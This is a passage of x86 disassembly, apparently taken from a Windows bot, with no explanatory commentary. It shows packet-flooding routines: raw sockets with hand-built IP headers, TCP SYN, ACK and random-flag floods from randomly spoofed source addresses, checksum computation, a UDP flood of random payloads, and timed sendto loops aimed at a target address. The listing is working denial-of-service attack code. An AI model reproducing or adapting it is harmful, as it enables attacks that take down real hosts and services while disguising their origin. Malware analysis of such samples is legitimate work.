var_80 = byte ptr -80h
var_78 = byte ptr -78h
Src = dword ptr -64h
var_60 = dword ptr -60h
var_5C = byte ptr -5Ch
var_5B = byte ptr -5Bh
var_5A = word ptr -5Ah
Dst = word ptr -44h
var_42 = word ptr -42h
var_40 = dword ptr -40h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = byte ptr -2Ch
var_2A = word ptr -2Ah
var_28 = word ptr -28h
var_26 = word ptr -26h
var_24 = byte ptr -24h
var_23 = byte ptr -23h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = byte ptr -0Ch
var_B = byte ptr -0Bh
var_A = word ptr -0Ah
var_8 = word ptr -8
var_6 = word ptr -6
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
lea ebp, [esp-74h]
sub esp, 440h
mov eax, [ebp+74h+arg_0]
push ebx
push esi
push edi
push 68h
mov esi, eax
pop ecx
lea edi, [ebp+74h+var_240]
rep movsd
xor esi, esi
inc esi
mov [eax+19Ch], esi
push 0Eh
xor eax, eax
xor ebx, ebx
mov [ebp+74h+var_A0], bl
pop ecx
lea edi, [ebp+74h+var_9F]
rep stosd
stosw
stosb
mov edi, ds:dword_42B038
call edi ; GetTickCount
push eax
call sub_41ECD4
pop ecx
push 0FFh
push 3
push 2
call dword_444100 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+74h+var_4], eax
jnz short loc_416BA6
call dword_4441C4 ; WSAGetLastError
push eax
push offset asc_435A38 ; "-"
loc_416B89: ; CODE XREF: sub_416B1E+ACj
lea eax, [ebp+74h+Dest]
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_416B98: ; CODE XREF: sub_416B1E+D3j
; sub_416B1E+3EEj
cmp [ebp+74h+var_A8], ebx
jnz loc_416EBC
jmp loc_416E9C
; ---------------------------------------------------------------------------
loc_416BA6: ; CODE XREF: sub_416B1E+5Dj
push 4
lea ecx, [ebp+74h+var_34]
push ecx
push 2
push ebx
push eax
mov [ebp+74h+var_34], esi
call dword_444120 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_416BCC
call dword_4441C4 ; WSAGetLastError
push eax
push offset unk_435A00
jmp short loc_416B89
; ---------------------------------------------------------------------------
loc_416BCC: ; CODE XREF: sub_416B1E+9Ej
lea eax, [ebp+74h+var_23C]
push eax
call dword_44417C ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_416BF3
lea eax, [ebp+74h+Dest]
push offset asc_4359E0 ; "-"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
jmp short loc_416B98
; ---------------------------------------------------------------------------
loc_416BF3: ; CODE XREF: sub_416B1E+BEj
push 10h ; Size
lea eax, [ebp+74h+Dst]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 0Ch
push ebx
mov [ebp+74h+Dst], 2
call dword_444260 ; htons
mov [ebp+74h+var_42], ax
lea eax, [ebp+74h+var_23C]
push eax
call dword_44417C ; inet_addr
mov [ebp+74h+var_40], eax
mov [ebp+74h+arg_0], ebx
call edi ; GetTickCount
mov [ebp+74h+var_30], eax
jmp loc_416E3D
; ---------------------------------------------------------------------------
loc_416C30: ; CODE XREF: sub_416B1E+330j
push 28h
mov [ebp+74h+var_2C], 45h
call dword_444260 ; htons
cmp [ebp+74h+var_B0], ebx
mov [ebp+74h+var_2A], ax
mov [ebp+74h+var_28], si
mov [ebp+74h+var_26], bx
mov [ebp+74h+var_24], 80h
mov [ebp+74h+var_23], 6
mov [ebp+74h+var_22], bx
jz short loc_416C86
call _rand
mov esi, eax
shl esi, 8
call _rand
add esi, eax
shl esi, 8
call _rand
add esi, eax
shl esi, 8
call _rand
add esi, eax
mov [ebp+74h+var_20], esi
xor esi, esi
inc esi
jmp short loc_416C9C
; ---------------------------------------------------------------------------
loc_416C86: ; CODE XREF: sub_416B1E+139j
push [ebp+74h+var_240]
call sub_4023C9
pop ecx
push eax
call dword_44417C ; inet_addr
mov [ebp+74h+var_20], eax
loc_416C9C: ; CODE XREF: sub_416B1E+166j
cmp [ebp+74h+var_B8], ebx
mov eax, [ebp+74h+var_40]
mov [ebp+74h+var_1C], eax
jnz short loc_416CB7
call _rand
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_416CBA
; ---------------------------------------------------------------------------
loc_416CB7: ; CODE XREF: sub_416B1E+187j
push [ebp+74h+var_B8]
loc_416CBA: ; CODE XREF: sub_416B1E+197j
call dword_444260 ; htons
mov [ebp+74h+var_16], ax
call _rand
cdq
mov ecx, 401h
idiv ecx
push edx
call dword_444260 ; htons
push 12345678h
mov [ebp+74h+var_18], ax
call dword_444234 ; htonl
mov [ebp+74h+var_14], eax
lea eax, [ebp+74h+Str]
push offset aSyn ; "syn"
push eax ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jz short loc_416D0A
mov [ebp+74h+var_10], ebx
mov [ebp+74h+var_B], 2
jmp short loc_416D66
; ---------------------------------------------------------------------------
loc_416D0A: ; CODE XREF: sub_416B1E+1E1j
lea eax, [ebp+74h+Str]
push offset aAck ; "ack"
push eax ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jz short loc_416D2A
mov [ebp+74h+var_10], ebx
mov [ebp+74h+var_B], 10h
jmp short loc_416D66
; ---------------------------------------------------------------------------
loc_416D2A: ; CODE XREF: sub_416B1E+201j
lea eax, [ebp+74h+Str]
push offset aRandom_0 ; "random"
push eax ; Str
call _strstr
test eax, eax
pop ecx
pop ecx
jz short loc_416D66
call _rand
cdq
push 3
pop ecx
idiv ecx
mov [ebp+74h+var_10], edx
call _rand
push 2
cdq
pop ecx
idiv ecx
neg edx
sbb dl, dl
and dl, 0Eh
add dl, cl
mov [ebp+74h+var_B], dl
loc_416D66: ; CODE XREF: sub_416B1E+1EAj
; sub_416B1E+20Aj ...
push 200h
mov [ebp+74h+var_C], 50h
call dword_444260 ; htons
mov [ebp+74h+var_A], ax
mov eax, [ebp+74h+var_20]
mov [ebp+74h+Src], eax
mov eax, [ebp+74h+var_1C]
push 14h
mov [ebp+74h+var_6], bx
mov [ebp+74h+var_8], bx
mov [ebp+74h+var_60], eax
mov [ebp+74h+var_5C], bl
mov [ebp+74h+var_5B], 6
call dword_444260 ; htons
mov [ebp+74h+var_5A], ax
push 20h ; Size
lea eax, [ebp+74h+Src]
push eax ; Src
lea eax, [ebp+74h+var_A0]
push eax ; Dst
call _memcpy
push 14h ; Size
lea eax, [ebp+74h+var_18]
push eax ; Src
lea eax, [ebp+74h+var_80]
push eax ; Dst
call _memcpy
lea eax, [ebp+74h+var_A0]
push 34h
push eax
call sub_402422
mov [ebp+74h+var_8], ax
push 14h ; Size
lea eax, [ebp+74h+var_2C]
push eax ; Src
lea eax, [ebp+74h+var_A0]
push eax ; Dst
call _memcpy
push 14h ; Size
lea eax, [ebp+74h+var_18]
push eax ; Src
lea eax, [ebp+74h+var_8C]
push eax ; Dst
call _memcpy
push 4 ; Size
lea eax, [ebp+74h+var_78]
push ebx ; Val
push eax ; Dst
call _memset
add esp, 44h
lea eax, [ebp+74h+var_A0]
push 28h
push eax
call sub_402422
mov [ebp+74h+var_22], ax
push 14h ; Size
lea eax, [ebp+74h+var_2C]
push eax ; Src
lea eax, [ebp+74h+var_A0]
push eax ; Dst
call _memcpy
add esp, 14h
push 10h
lea eax, [ebp+74h+Dst]
push eax
push ebx
push 3Ch
lea eax, [ebp+74h+var_A0]
push eax
push [ebp+74h+var_4]
call dword_4440CC ; sendto
cmp eax, 0FFFFFFFFh
jz loc_416ED9
inc [ebp+74h+arg_0]
loc_416E3D: ; CODE XREF: sub_416B1E+10Dj
call edi ; GetTickCount
sub eax, [ebp+74h+var_30]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+74h+var_B4]
jbe loc_416C30
push [ebp+74h+var_4]
call dword_444218 ; closesocket
mov eax, [ebp+74h+arg_0]
imul eax, 3Ch
mov ecx, eax
shr eax, 0Ah
xor edx, edx
div [ebp+74h+var_B4]
shr ecx, 14h
push ecx
push eax
push [ebp+74h+arg_0]
lea eax, [ebp+74h+var_23C]
push eax
lea eax, [ebp+74h+Str]
push eax
lea eax, [ebp+74h+Dest]
push offset asc_435990 ; "-"
push eax ; Dest
call _sprintf
add esp, 1Ch
cmp [ebp+74h+var_A8], ebx
jnz short loc_416EBC
loc_416E9C: ; CODE XREF: sub_416B1E+83j
push ebx ; int
push [ebp+74h+var_AC] ; int
lea eax, [ebp+74h+Dest]
push eax ; int
lea eax, [ebp+74h+var_13C]
push eax ; Str
push [ebp+74h+var_240] ; int
call sub_40123B
add esp, 14h
loc_416EBC: ; CODE XREF: sub_416B1E+7Dj
; sub_416B1E+37Cj
lea eax, [ebp+74h+Dest]
push eax
call sub_417D70
push [ebp+74h+var_BC]
call sub_40B149
pop ecx
pop ecx
push ebx
call ds:dword_42B068 ; ExitThread
loc_416ED9: ; CODE XREF: sub_416B1E+316j
push [ebp+74h+var_4]
call dword_444218 ; closesocket
call dword_4441C4 ; WSAGetLastError
push eax
push [ebp+74h+arg_0]
lea eax, [ebp+74h+var_23C]
push eax
push offset asc_435940 ; "-"
lea eax, [ebp+74h+Dest]
push 200h ; Count
push eax ; Dest
call __snprintf
add esp, 18h
jmp loc_416B98
sub_416B1E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416F11 proc near ; CODE XREF: sub_416F65+19Ap
; sub_416F65+207p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
mov ecx, [ebp+arg_4]
mov edx, [ebp+arg_0]
push esi
xor esi, esi
cmp ecx, 1
mov [ebp+arg_4], esi
jle short loc_416F3F
lea eax, [ecx-2]
shr eax, 1
inc eax
push edi
lea edi, [eax+eax]
sub ecx, edi
loc_416F31: ; CODE XREF: sub_416F11+28j
movzx edi, word ptr [edx]
add esi, edi
inc edx
inc edx
dec eax
jnz short loc_416F31
pop edi
cmp ecx, 1
loc_416F3F: ; CODE XREF: sub_416F11+12j
jnz short loc_416F4C
mov al, [edx]
mov byte ptr [ebp+arg_4], al
movzx eax, word ptr [ebp+arg_4]
add esi, eax
loc_416F4C: ; CODE XREF: sub_416F11:loc_416F3Fj
mov ecx, esi
and esi, 0FFFFh
sar ecx, 10h
add ecx, esi
mov eax, ecx
sar eax, 10h
add eax, ecx
not eax
pop esi
pop ebp
retn
sub_416F11 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_416F65 proc near ; CODE XREF: sub_4171BC+54p
var_D0 = dword ptr -0D0h
Dest = byte ptr -0C8h
var_A8 = dword ptr -0A8h
var_A4 = dword ptr -0A4h
var_A0 = byte ptr -0A0h
var_9F = byte ptr -9Fh
var_9E = word ptr -9Eh
Src = byte ptr -9Ch
var_88 = byte ptr -88h
var_74 = word ptr -74h
var_72 = word ptr -72h
var_70 = dword ptr -70h
var_64 = byte ptr -64h
var_60 = byte ptr -60h
var_5F = byte ptr -5Fh
var_5E = byte ptr -5Eh
var_54 = dword ptr -54h
var_50 = byte ptr -50h
var_4E = word ptr -4Eh
var_4C = word ptr -4Ch
var_4A = word ptr -4Ah
var_48 = byte ptr -48h
var_47 = byte ptr -47h
var_46 = word ptr -46h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = word ptr -3Ch
var_3A = word ptr -3Ah
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = word ptr -2Ch
var_2A = word ptr -2Ah
var_28 = word ptr -28h
Dst = byte ptr -24h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_194 = dword ptr 19Ch
arg_198 = dword ptr 1A0h
push ebp
mov ebp, esp
sub esp, 0C8h
and [ebp+var_4], 0
push esi
mov esi, ds:dword_42B038
call esi ; GetTickCount
push 0FFh
push 3
push 2
mov [ebp+var_C], eax
call dword_444100 ; socket
mov [ebp+var_8], eax
call esi ; GetTickCount
push eax ; Size
call sub_41ECD4
mov [esp+0D0h+var_D0], 578h
push 9
push 1
call sub_41B325
pop ecx
pop ecx
push eax ; Val
lea eax, [ebp+Dst]
push eax ; Dst
call _memset
add esp, 0Ch
call esi ; GetTickCount
sub eax, [ebp+var_C]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_198]
ja loc_4171AD
push ebx
push edi
mov edi, 5A0h
loc_416FD8: ; CODE XREF: sub_416F65+240j
cmp dword_4D5898, 0
jnz short loc_417039
push 10h
pop eax
push eax ; Size
mov [ebp+var_10], eax
lea eax, [ebp+var_64]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_64]
push eax
push [ebp+arg_0]
call dword_444068 ; getsockname
push 0FFh
push 1
call sub_41B325
push eax
movzx eax, [ebp+var_5E]
push eax
movzx eax, [ebp+var_5F]
push eax
movzx eax, [ebp+var_60]
push eax
lea eax, [ebp+Dest]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push eax ; Dest
call _sprintf
add esp, 20h
jmp short loc_41704C
; ---------------------------------------------------------------------------
loc_417039: ; CODE XREF: sub_416F65+7Aj
lea eax, [ebp+Dest]
push offset byte_4D5698 ; Source
push eax ; Dest
call _strcpy
pop ecx
pop ecx
loc_41704C: ; CODE XREF: sub_416F65+D2j
lea eax, [ebp+Dest]
push eax
call dword_44417C ; inet_addr
mov ebx, eax
mov eax, [ebp+var_54]
and eax, 0FFFFFF45h
or eax, 45h
push edi
mov [ebp+var_54], eax
mov [ebp+var_50], 10h
call dword_444260 ; htons
mov [ebp+var_4E], ax
call _rand
and [ebp+var_46], 0
mov [ebp+var_4C], ax
mov eax, [ebp+arg_194]
mov [ebp+var_4A], 40h
mov [ebp+var_48], 40h
mov [ebp+var_47], 6
mov [ebp+var_44], ebx
mov [ebp+var_40], eax
call _rand
mov [ebp+var_3C], ax
call _rand
mov [ebp+var_3A], ax
call _rand
mov [ebp+var_38], eax
call _rand
mov ebx, [ebp+var_40]
and [ebp+var_2A], 0
and [ebp+var_28], 0
mov [ebp+var_34], eax
mov eax, [ebp+var_30]
and ax, 0FF50h
or ax, 50h
mov word ptr [ebp+var_30], ax
mov ax, [ebp+var_3A]
mov [ebp+var_72], ax
lea eax, [ebp+var_54]
push 14h
push eax
mov byte ptr [ebp+var_30+2], 18h
mov [ebp+var_2C], 787Dh
mov [ebp+var_74], 2
mov [ebp+var_70], ebx
call sub_416F11
pop ecx
pop ecx
mov [ebp+var_46], ax
mov eax, [ebp+var_44]
push 58Ch
mov [ebp+var_A8], eax
mov [ebp+var_A4], ebx
mov [ebp+var_A0], 0
mov [ebp+var_9F], 6
call ds:dword_42B200 ; htons
mov [ebp+var_9E], ax
push 14h ; Size
lea eax, [ebp+Src]
push eax ; Src
lea eax, [ebp+var_3C]
push eax ; Dst
call _memcpy
push 578h ; Size
lea eax, [ebp+var_88]
push eax ; Src
lea eax, [ebp+Dst]
push eax ; Dst
call _memcpy
lea eax, [ebp+var_A8]
push 598h
push eax
call sub_416F11
add esp, 20h
mov [ebp+var_2A], ax
push 10h
lea eax, [ebp+var_74]
push eax
push 0
push edi
lea eax, [ebp+var_54]
push eax
push [ebp+var_8]
call dword_4440CC ; sendto
inc [ebp+var_4]
call esi ; GetTickCount
sub eax, [ebp+var_C]
xor edx, edx
mov ecx, 3E8h
div ecx
cmp eax, [ebp+arg_198]
jbe loc_416FD8
pop edi
pop ebx
loc_4171AD: ; CODE XREF: sub_416F65+66j
push [ebp+var_8]
call dword_444218 ; closesocket
mov eax, [ebp+var_4]
pop esi
leave
retn
sub_416F65 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4171BC proc near ; DATA XREF: sub_40274D+69BBo
Dest = byte ptr -394h
var_194 = dword ptr -194h
var_190 = byte ptr -190h
Str = byte ptr -110h
var_90 = byte ptr -90h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 394h
mov eax, [ebp+arg_0]
push esi
push edi
push 65h
mov esi, eax
pop ecx
lea edi, [ebp+var_194]
rep movsd
mov dword ptr [eax+190h], 1
lea eax, [ebp+Str]
push eax ; Str
call j__atol
pop ecx
push eax
lea eax, [ebp+var_190]
push eax
call dword_44417C ; inet_addr
push eax
sub esp, 194h
push 65h
pop ecx
lea esi, [ebp+var_194]
mov edi, esp
rep movsd
call sub_416F65
push eax
lea eax, [ebp+Dest]
push offset asc_435A6C ; "-"
push eax ; Dest
call _sprintf
xor esi, esi
add esp, 1A8h
cmp [ebp+var_8], esi
jnz short loc_417254
push esi ; int
push [ebp+var_C] ; int
lea eax, [ebp+Dest]
push eax ; int
lea eax, [ebp+var_90]
push eax ; Str
push [ebp+var_194] ; int
call sub_40123B
add esp, 14h
loc_417254: ; CODE XREF: sub_4171BC+76j
lea eax, [ebp+Dest]
push eax
call sub_417D70
push [ebp+var_10]
call sub_40B149
pop ecx
pop ecx
push esi
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
sub_4171BC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_417272(int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char Str,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int)
sub_417272 proc near ; CODE XREF: sub_4175F3+3Bp
Dest = byte ptr -254h
var_54 = byte ptr -54h
Dst = byte ptr -34h
var_30 = byte ptr -30h
var_2F = byte ptr -2Fh
var_2E = byte ptr -2Eh
var_24 = word ptr -24h
var_22 = word ptr -22h
var_20 = dword ptr -20h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = byte ptr 0Ch
arg_84 = byte ptr 8Ch
Str = byte ptr 10Ch
arg_184 = byte ptr 18Ch
arg_208 = dword ptr 210h
arg_20C = dword ptr 214h
push ebp
mov ebp, esp
sub esp, 254h
push ebx
push edi
mov ebx, 0FFh
push ebx
push 3
push 2
call dword_444100 ; socket
cmp eax, 0FFFFFFFFh
mov [ebp+var_C], eax
jnz short loc_4172AC
lea eax, [ebp+Dest]
push offset asc_435C58 ; "-"
push eax ; Dest
call _sprintf
pop ecx
pop ecx
xor edi, edi
jmp short loc_417302
; ---------------------------------------------------------------------------
loc_4172AC: ; CODE XREF: sub_417272+21j
push 4
lea ecx, [ebp+var_14]
push ecx
push 2
xor edi, edi
push edi
push eax
mov [ebp+var_14], 1
call dword_444120 ; setsockopt
cmp eax, 0FFFFFFFFh
jnz short loc_4172D8
call dword_4441C4 ; WSAGetLastError
push eax
push offset unk_435C08
jmp short loc_4172F3
; ---------------------------------------------------------------------------
loc_4172D8: ; CODE XREF: sub_417272+56j
lea eax, [ebp+arg_4]
push eax
call dword_44417C ; inet_addr
cmp eax, 0FFFFFFFFh
jnz short loc_417333
call dword_4441C4 ; WSAGetLastError
push eax
push offset asc_435BC0 ; "-"
loc_4172F3: ; CODE XREF: sub_417272+64j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
add esp, 0Ch
loc_417302: ; CODE XREF: sub_417272+38j
cmp [ebp+arg_20C], edi
jnz loc_4175C8
push edi ; int
push [ebp+arg_208] ; int
lea eax, [ebp+Dest]
push eax ; int
lea eax, [ebp+arg_184]
push eax ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 14h
jmp loc_4175C8
; ---------------------------------------------------------------------------
loc_417333: ; CODE XREF: sub_417272+73j
push esi
push edi
mov [ebp+var_24], 2
call dword_444260 ; htons
mov [ebp+var_22], ax
lea eax, [ebp+arg_4]
push eax
call ds:dword_42B218 ; inet_addr
mov esi, ds:dword_42B038
mov [ebp+var_20], eax
call esi ; GetTickCount
mov [ebp+var_8], eax
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+Dest]
push offset asc_435B94 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+arg_20C], edi
jnz short loc_41739D
push edi ; int
push [ebp+arg_208] ; int
lea eax, [ebp+Dest]
push eax ; int
lea eax, [ebp+arg_184]
push eax ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 14h
loc_41739D: ; CODE XREF: sub_417272+109j
mov [ebp+var_4], edi
call esi ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
mov esi, eax
lea eax, [ebp+Str]
push eax ; Str
call j__atol
cmp esi, eax
pop ecx
ja loc_417556
mov esi, 41Ch
jmp short loc_4173D1
; ---------------------------------------------------------------------------
loc_4173CC: ; CODE XREF: sub_417272+2DEj
mov ebx, 0FFh
loc_4173D1: ; CODE XREF: sub_417272+158j
cmp dword_4D5898, edi
jnz short loc_417429
push 10h
pop eax
push eax ; Size
mov [ebp+var_10], eax
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+Dst]
push eax
push [ebp+arg_0]
call dword_444068 ; getsockname
push ebx
push 1
call sub_41B325
push eax
movzx eax, [ebp+var_2E]
push eax
movzx eax, [ebp+var_2F]
push eax
movzx eax, [ebp+var_30]
push eax
lea eax, [ebp+var_54]
push offset aD_D_D_D ; "%d.%d.%d.%d"
push eax ; Dest
call _sprintf
add esp, 20h
jmp short loc_417439
; ---------------------------------------------------------------------------
loc_417429: ; CODE XREF: sub_417272+165j
lea eax, [ebp+var_54]
push offset byte_4D5698 ; Source
push eax ; Dest
call _strcpy
pop ecx
pop ecx
loc_417439: ; CODE XREF: sub_417272+1B5j
push esi
mov byte_4D58A0, 45h
call dword_444260 ; htons
mov word_4D58A2, ax
lea eax, [ebp+var_54]
push eax
mov word_4D58A4, 1
mov word_4D58A6, di
mov byte_4D58A8, 80h
mov byte_4D58A9, 11h
mov word_4D58AA, di
call dword_44417C ; inet_addr
mov dword_4D58AC, eax
mov eax, [ebp+var_20]
mov dword_4D58B0, eax
lea eax, [ebp+arg_84]
push eax ; Str
mov word_4D58BA, di
call j__atol
test eax, eax
pop ecx
jnz short loc_4174B1
call _rand
cdq
mov ecx, 401h
idiv ecx
push edx
jmp short loc_4174BF
; ---------------------------------------------------------------------------
loc_4174B1: ; CODE XREF: sub_417272+22Dj
lea eax, [ebp+arg_84]
push eax ; Str
call j__atol
pop ecx
push eax
loc_4174BF: ; CODE XREF: sub_417272+23Dj
call dword_444260 ; htons
mov word_4D58B6, ax
call _rand
cdq
mov ecx, 401h
idiv ecx
push 408h
mov word_4D58B4, dx
call dword_444260 ; htons
push 400h ; Size
mov word_4D58B8, ax
call _rand
cdq
idiv ebx
push edx ; Val
push offset dword_4D58BC ; Dst
call _memset
add esp, 0Ch
push 10h
lea eax, [ebp+var_24]
push eax
push edi
push esi
push offset byte_4D58A0
push [ebp+var_C]
call dword_4440CC ; sendto
cmp eax, 0FFFFFFFFh
jz loc_4175CE
inc [ebp+var_4]
call ds:dword_42B038 ; GetTickCount
sub eax, [ebp+var_8]
xor edx, edx
mov ecx, 3E8h
div ecx
mov ebx, eax
lea eax, [ebp+Str]
push eax ; Str
call j__atol
cmp ebx, eax
pop ecx
jbe loc_4173CC
loc_417556: ; CODE XREF: sub_417272+14Dj
push [ebp+var_C]
call dword_444218 ; closesocket
mov esi, [ebp+var_4]
lea eax, [ebp+Str]
imul esi, 41Ch
push eax ; Str
call j__atol
mov ecx, eax
mov eax, esi
shr eax, 0Ah
xor edx, edx
div ecx
shr esi, 14h
push eax
push esi
push [ebp+var_4]
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+Dest]
push offset asc_435B30 ; "-"
push eax ; Dest
call _sprintf
add esp, 1Ch
loc_41759F: ; CODE XREF: sub_417272+37Fj
cmp [ebp+arg_20C], edi
jnz short loc_4175C7
push edi ; int
push [ebp+arg_208] ; int
lea eax, [ebp+Dest]
push eax ; int
lea eax, [ebp+arg_184]
push eax ; Str
push [ebp+arg_0] ; int
call sub_40123B
add esp, 14h
loc_4175C7: ; CODE XREF: sub_417272+333j
pop esi
loc_4175C8: ; CODE XREF: sub_417272+96j
; sub_417272+BCj
pop edi
xor eax, eax
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_4175CE: ; CODE XREF: sub_417272+2B2j
push [ebp+var_4]
push esi
call dword_4441C4 ; WSAGetLastError
push eax
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+Dest]
push offset asc_435AA0 ; "-"
push eax ; Dest
call _sprintf
add esp, 18h
jmp short loc_41759F
sub_417272 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4175F3 proc near ; DATA XREF: sub_40274D+4A49o
Dest = byte ptr -414h
var_214 = byte ptr -214h
var_10 = dword ptr -10h
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 414h
mov edx, [ebp+arg_0]
push esi
push edi
mov eax, 85h
mov ecx, eax
mov esi, edx
lea edi, [ebp+var_214]
rep movsd
sub esp, 214h
mov ecx, eax
lea esi, [ebp+var_214]
mov edi, esp
mov dword ptr [edx+210h], 1
rep movsd
call sub_417272
push eax
lea eax, [ebp+Dest]
push offset asc_435C84 ; "-"
push eax ; Dest
call _sprintf
lea eax, [ebp+Dest]
add esp, 220h
push eax
call sub_417D70
push [ebp+var_10]
call sub_40B149
pop ecx
pop ecx
push 0
call ds:dword_42B068 ; ExitThread
int 3 ; Trap to Debugger
sub_4175F3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_41766A proc near ; CODE XREF: sub_41776E+289p
arg_0 = dword ptr 4
push 0FFFEh
push 1
call sub_41B325
pop ecx
pop ecx
mov ecx, [esp+arg_0]
shl eax, 10h
and ecx, 0FFFFh
or eax, ecx
retn
sub_41766A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_417688 proc near ; CODE XREF: sub_41776E+178p
var_214 = dword ptr -214h
var_210 = dword ptr -210h
var_110 = dword ptr -110h
var_10C = dword ptr -10Ch
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 214h
and [ebp+var_4], 0
cmp [ebp+arg_C], 0
jnz short loc_4176AC
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_42B1F4 ; connect
leave
retn
; ---------------------------------------------------------------------------
loc_4176AC: ; CODE XREF: sub_417688+11j
push esi
mov esi, [ebp+arg_0]
push edi
lea eax, [ebp+var_C]
push eax
xor edi, edi
push 8004667Eh
inc edi
push esi
mov [ebp+var_C], edi
call ds:dword_42B1E4 ; ioctlsocket
push [ebp+arg_8]
push [ebp+arg_4]
push esi
call dword_4440AC ; connect
push [ebp+arg_C]
lea eax, [ebp+var_214]
push 0
push eax
lea eax, [ebp+var_110]
push eax
lea eax, [esi+1]
push eax
mov [ebp+var_10C], esi
mov [ebp+var_110], edi
mov [ebp+var_210], esi
mov [ebp+var_214], edi
call dword_4441B0 ; select
test eax, eax
jnz short loc_417712
or eax, 0FFFFFFFFh
jmp short loc_41776A
; ---------------------------------------------------------------------------
loc_417712: ; CODE XREF: sub_417688+83j
or edi, 0FFFFFFFFh
cmp eax, edi
jz short loc_41775F
lea eax, [ebp+var_110]
push eax
push esi
call sub_4298D6 ; __WSAFDIsSet
test eax, eax
jnz short loc_41773B
lea eax, [ebp+var_214]
push eax
push esi
call sub_4298D6 ; __WSAFDIsSet
test eax, eax
jz short loc_41775F
loc_41773B: ; CODE XREF: sub_417688+A0j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
push 1007h
push 0FFFFh
push esi
mov [ebp+var_8], 4
call ds:dword_42B1D4 ; getsockopt
cmp eax, edi
jnz short loc_417763
loc_41775F: ; CODE XREF: sub_417688+8Fj
; sub_417688+B1j
mov eax, edi
jmp short loc_41776A
; ---------------------------------------------------------------------------
loc_417763: ; CODE XREF: sub_417688+D5j
mov eax, [ebp+var_4]
neg eax
sbb eax, eax
loc_41776A: ; CODE XREF: sub_417688+88j
; sub_417688+D9j
pop edi
pop esi
leave
retn
sub_417688 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame fpd=6Ch
sub_41776E proc near ; CODE XREF: sub_417BC8+51p
var_10C = dword ptr -10Ch
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = byte ptr -100h
var_9C = word ptr -9Ch
var_9A = word ptr -9Ah
var_98 = dword ptr -98h
var_8C = dword ptr -8Ch
var_88 = dword ptr -88h
var_84 = dword ptr -84h
var_80 = dword ptr -80h
var_7C = dword ptr -7Ch
var_78 = dword ptr -78h
var_74 = dword ptr -74h
var_70 = dword ptr -70h
var_6C = dword ptr -6Ch
var_68 = dword ptr -68h
var_64 = dword ptr -64h
var_60 = dword ptr -60h
var_5C = dword ptr -5Ch
var_58 = dword ptr -58h
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
